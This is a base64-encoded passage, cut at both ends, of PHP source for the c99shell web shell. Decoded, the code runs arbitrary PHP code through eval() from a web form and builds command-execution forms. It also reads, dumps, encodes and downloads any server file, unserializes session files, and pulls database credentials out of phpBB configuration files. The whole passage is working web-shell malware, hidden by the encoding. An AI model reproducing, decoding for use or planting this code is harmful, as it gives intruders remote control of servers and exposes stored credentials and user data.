RzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2FzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30KICAgaWYgKCRrID4gY291bnQoJGhlYWQpKSB7JGsgPSBjb3VudCgkaGVhZCktMTt9CiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKQogICB7CiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+Ijt9CiAgIH0KICAgJHByY3MgPSBhcnJheSgpOwogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpCiAgIHsKICAgIGlmICghZW1wdHkoJGxpbmUpKQogICAgewogICAgIGVjaG8gIjx0cj4iOwogICAgICRsaW5lID0gZXhwbG9kZSgiIiwkbGluZSk7CiAgICAgJGxpbmVbMV0gPSBpbnR2YWwoJGxpbmVbMV0pOyAkbGluZVsyXSA9ICRsaW5lWzNdOyB1bnNldCgkbGluZVszXSk7CiAgICAgJGxpbmVbMl0gPSBpbnR2YWwoc3RyX3JlcGxhY2UoIiAiLCIiLCRsaW5lWzJdKSkqMTAyNDsgCiAgICAgJHByY3NbXSA9ICRsaW5lOwogICAgIGVjaG8gIjwvdHI+IjsKICAgIH0KICAgfQogIH0KICAkaGVhZFska10gPSAiPGI+Ii4kaGVhZFska10uIjwvYj4iLiR5OwogICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOwogIHVzb3J0KCRwcmNzLCJ0YWJzb3J0Iik7CiAgaWYgKCRwcm9jZXNzZXNfc29ydFsxXSA9PSAiZCIpIHskcHJjcyA9IGFycmF5X3JldmVyc2UoJHByY3MpO30KICAkdGFiID0gYXJyYXkoKTsKICAkdGFiW10gPSAkaGVhZDsKICAkdGFiID0gYXJyYXlfbWVyZ2UoJHRhYiwkcHJjcyk7CiAgZWNobyAiPFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPVwiI0MwQzBDMFwiPiI7CiAgZm9yZWFjaCgkdGFiIGFzICRpPT4kaykKICB7CiAgIGVjaG8gIjx0cj4iOwogICBmb3JlYWNoKCRrIGFzICRqPT4kdikge2lmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDIpIHskdiA9IHZpZXdfc2l6ZSgkdik7fSBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iO30KICAgZWNobyAiPC90cj4iOwogIH0KICBlY2hvICI8L3RhYmxlPiI7CiB9Cn0KaWYgKCRhY3QgPT0gImV2YWwiKQp7CiBpZiAoIWVtcHR5KCRldmFsKSkKIHsKICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU8L2I+Ojxicj4iOwogICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICBAY2hkaXIoJGQpOwogIGlmICgkdG1wKQogIHsKICAgb2JfY2xlYW4oKTsKICAgZXZhbCgkZXZhbCk7CiAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsKICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogICBvYl9jbGVhbigpOwogICBlY2hvICR0bXA7CiAgIGlmICgkZXZhbF90eHQpCiAgIHsKICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7CiAgICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOwogICB9CiAgIGVsc2Uge2VjaG8gJHJldC4iPGJyPiI7fQogIH0KICBlbHNlCiAgewogICBpZiAoJGV2YWxfdHh0KQogICB7CiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25seT4iOwogICAgZXZhbCgkZXZhbCk7CiAgICBlY2hvICI8L3RleHRhcmVhPiI7CiAgIH0KICAgZWxzZSB7ZWNobyAkcmV0O30KICB9CiAgQGNoZGlyKCRvbGRkaXIpOwogfQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQogZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOwp9CmlmICgkYWN0ID09ICJmIikKewogaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKQogewogIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30KIH0KIGVsc2UKIHsKICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7CiAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsKICAkYyA9IGNvdW50KCRleHQpLTE7CiAgJGV4dCA9ICRleHRbJGNdOwogICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICRyZnQgPSAiIjsKICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQogIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30KICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQogICRhcnIgPSBhcnJheSgKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGJvcmRlcj1cIjBcIj4iLCJpbmZvIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsImh0bWwiKSwKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwKICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksCiAgIGFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZXhlXCIgYm9yZGVyPVwiMFwiPiIsImV4ZSIpLAogICBhcnJheSgiU0RCIiwic2RiIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9XCIwXCI+IiwiaW1nIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPiIsImRvd25sb2FkIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+Iiwibm90ZXBhZCIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpCiAgKTsKICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7CiAgZm9yZWFjaCgkYXJyIGFzICR0KQogIHsKICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Zm9udCBjb2xvcj1ncmVlbj4iLiR0WzBdLiI8L2ZvbnQ+PC9hPiI7fQogICBlbHNlaWYgKCR0WzFdID09ICRmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPjx1PiIuJHRbMF0uIjwvdT48L2I+PC9hPiI7fQogICBlbHNlIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQogICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7CiAgfQogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICBpZiAoJGZ0ID09ICJpbmZvIikKICB7CiAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7CiAgIGlmICghJHdpbikKICAgewogICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsgICAgCiAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsKICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZC4kZikpOwogICAgZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsKICAgfQogICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLnVybGVuY29kZSgkZikuIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOwogICAkZmkgPSBmb3BlbigkZC4kZiwicmIiKTsKICAgaWYgKCRmaSkKICAgewogICAgaWYgKCRmdWxsaGV4ZHVtcCkge2VjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLGZpbGVzaXplKCRkLiRmKSk7fQogICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQogICAgJG4gPSAwOwogICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7CiAgICAkYTEgPSAiIjsKICAgICRhMiA9ICIiOwogICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJHN0cik7ICRpKyspCiAgICB7CiAgICAgJGExIC49IHNwcmludGYoIiUwMlgiLG9yZCgkc3RyWyRpXSkpLiIgIjsKICAgICBzd2l0Y2ggKG9yZCgkc3RyWyRpXSkpCiAgICAgewogICAgICBjYXNlIDA6ICAkYTIgLj0gIjxmb250PjA8L2ZvbnQ+IjsgYnJlYWs7CiAgICAgIGNhc2UgMzI6CiAgICAgIGNhc2UgMTA6CiAgICAgIGNhc2UgMTM6ICRhMiAuPSAiJm5ic3A7IjsgYnJlYWs7CiAgICAgIGRlZmF1bHQ6ICRhMiAuPSBodG1sc3BlY2lhbGNoYXJzKCRzdHJbJGldKTsKICAgICB9CiAgICAgJG4rKzsKICAgICBpZiAoJG4gPT0gJGhleGR1bXBfcm93cykKICAgICB7CiAgICAgICRuID0gMDsKICAgICAgaWYgKCRpKzEgPCBzdHJsZW4oJHN0cikpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkrMSkuIjxicj4iO30KICAgICAgJGExIC49ICI8YnI+IjsKICAgICAgJGEyIC49ICI8YnI+IjsKICAgICB9CiAgICB9CiAgICAvL2lmICgkYTEgIT0gIiIpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkpLiI8YnI+Ijt9CiAgICBlY2hvICI8dGFibGUgYm9yZGVyPTAgYmdjb2xvcj0jNjY2NjY2IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9ND48dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTEuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGEyLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKICAgfQogICAkZW5jb2RlZCA9ICIiOwogICBpZiAoJGJhc2U2NCA9PSAxKQogICB7CiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlPC9iPjxicj4iOwogICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7CiAgIH0KICAgZWxzZWlmKCRiYXNlNjQgPT0gMikKICAgewogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxicj4iOwogICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSkpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDMpCiAgIHsKICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3RlczwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOwogICAgJGVuY29kZWQgPSBzdWJzdHIocHJlZ19yZXBsYWNlKCIhLnsxLDc2fSEiLCInXFwwJy5cbiIsJGVuY29kZWQpLDAsLTIpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDQpCiAgIHsKICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOwogICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsKICAgIGVjaG8gIjxiPkJhc2U2NCBEZWNvZGUiOwogICAgaWYgKGJhc2U2NF9lbmNvZGUoJGVuY29kZWQpICE9ICR0ZXh0KSB7ZWNobyAiIChmYWlsZWQpIjt9CiAgICBlY2hvICI8L2I+PGJyPiI7CiAgIH0KICAgaWYgKCFlbXB0eSgkZW5jb2RlZCkpCiAgIHsKICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVkKS4iPC90ZXh0YXJlYT48YnI+PGJyPiI7CiAgIH0KICAgZWNobyAiPGI+SEVYRFVNUDo8L2I+PG5vYnI+IFs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmZ1bGxoZXhkdW1wPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkZ1bGw8L2E+XSBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPgo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RW5jb2RlPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTQmZD0iLnVybGVuY29kZSgkZCkuIlwiPkRlY29kZTwvYT5dJm5ic3A7PC9ub2JyPgo8UD4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAiaHRtbCIpCiAgewogICBpZiAoJHdoaXRlKSB7QG9iX2NsZWFuKCk7fQogICBlY2hvICRyOwogICBpZiAoJHdoaXRlKSB7Yzk5c2hleGl0KCk7fQogIH0KICBlbHNlaWYgKCRmdCA9PSAidHh0Iikge2VjaG8gIjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC9wcmU+Ijt9CiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9CiAgZWxzZWlmICgkZnQgPT0gInBocHNlc3MiKQogIHsKICAgZWNobyAiPHByZT4iOwogICAkdiA9IGV4cGxvZGUoInwiLCRyKTsKICAgZWNobyAkdlswXS4iPGJyPiI7CiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7CiAgIGVjaG8gIjwvcHJlPiI7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKQogIHsKICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsKICAgJGMgPSBjb3VudCgkZXh0KS0xOwogICAkZXh0ID0gJGV4dFskY107CiAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICAkcmZ0ID0gIiI7CiAgIGZvcmVhY2goJGV4ZWZ0eXBlcyBhcyAkaz0+JHYpCiAgIHsKICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQogICB9CiAgICRjbWQgPSBzdHJfcmVwbGFjZSgiJWYlIiwkZiwkcmZ0KTsKICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkY21kKSsyKS4iXCI+PGJyPkRpc3BsYXkgaW4gdGV4dC1hcmVhPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+PC9mb3JtPiI7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJzZGIiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcCh1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAiY29kZSIpCiAgewogICBpZiAoZXJlZygicGhwIi4iQkIgMi4oLiopIGF1dG8tZ2VuZXJhdGVkIGNvbmZpZyBmaWxlIiwkcikpCiAgIHsKICAgICRhcnIgPSBleHBsb2RlKCJcbiIsJHIpOwogICAgaWYgKGNvdW50KCRhcnIgPT0gMTgpKQogICAgewogICAgIGluY2x1ZGUoJGQuJGYpOwogICAgIGVjaG8gIjxiPnBocEJCIGNvbmZpZ3VyYXRpb24gaXMgZGV0ZWN0ZWQgaW4gdGhpcyBmaWxlITxicj4iOwogICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9CiAgICAgaWYgKCRkYm1zID09ICJteXNxbCIpIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXNxbCZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkZGJob3N0KS4iJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRidXNlcikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkZGJwYXNzd2QpLiImc3FsX3BvcnQ9MzMwNiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpLiJcIj48Yj48dT5Db25uZWN0IHRvIERCPC91PjwvYj48L2E+PGJyPjxicj4iO30KICAgICBlbHNlIHtlY2hvICJCdXQsIHlvdSBjYW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIi4kZGJtcy4iXCIgaXMgbm90IHN1cHBvcnRlZCBieSBjOTlzaGVsbC4gUGxlYXNlLCByZXBvcnQgdXMgZm9yIGZpeC4iO30KICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsKICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhvc3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dkKTsKICAgICBmb3JlYWNoICgkY2ZndmFycyBhcyAkaz0+JHYpIHtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGspLiI9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic8YnI+Ijt9CiAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIH0KICAgfQogICBlY2hvICI8ZGl2IHN0eWxlPVwiYm9yZGVyIDogMHB4IHNvbGlkICNGRkZGRkY7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiAxZW07IG1hcmdpbi1yaWdodDogMWVtOyBtYXJnaW4tbGVmdDogMWVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAiLiRoaWdobGlnaHRfYmFja2dyb3VuZCAuIjtcIj4iOwogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9CiAgIGhpZ2hsaWdodF9maWxlKCRkLiRmKTsKICAgaWYgKCFlbXB0eSgkd2hpdGUpKSB7Yzk5c2hleGl0KCk7fQogICBlY2hvICI8L2Rpdj4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAiZG93bmxvYWQiKQogIHsKICAgQG9iX2NsZWFuKCk7CiAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5maWxlc2l6ZSgkZC4kZikpOwogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iXCI7Iik7CiAgIGVjaG8gJHI7CiAgIGV4aXQ7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJub3RlcGFkIikKICB7CiAgIEBvYl9jbGVhbigpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOwogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iLnR4dFwiOyIpOwogICBlY2hvKCRyKTsKICAgZXhpdDsKICB9CiAgZWxzZWlmICgkZnQgPT0gImltZyIpCiAgewogICAkaW5mID0gZ2V0aW1hZ2VzaXplKCRkLiRmKTsKICAgaWYgKCEkd2hpdGUpCiAgIHsKICAgIGlmIChlbXB0eSgkaW1nc2l6ZSkpIHskaW1nc2l6ZSA9IDIwO30KICAgICR3aWR0aCA9ICRpbmZbMF0vMTAwKiRpbWdzaXplOwogICAgJGhlaWdodCA9ICRpbmZbMV0vMTAwKiRpbWdzaXplOwogICAgZWNobyAiPGNlbnRlcj48Yj5TaXplOjwvYj4mbmJzcDsiOwogICAgJHNpemVzID0gYXJyYXkoIjEwMCIsIjUwIiwiMjAiKTsKICAgIGZvcmVhY2ggKCRzaXplcyBhcyAkdikKICAgIHsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmZD0iLnVybGVuY29kZSgkZCkuIiZpbWdzaXplPSIuJHYuIlwiPiI7CiAgICAgaWY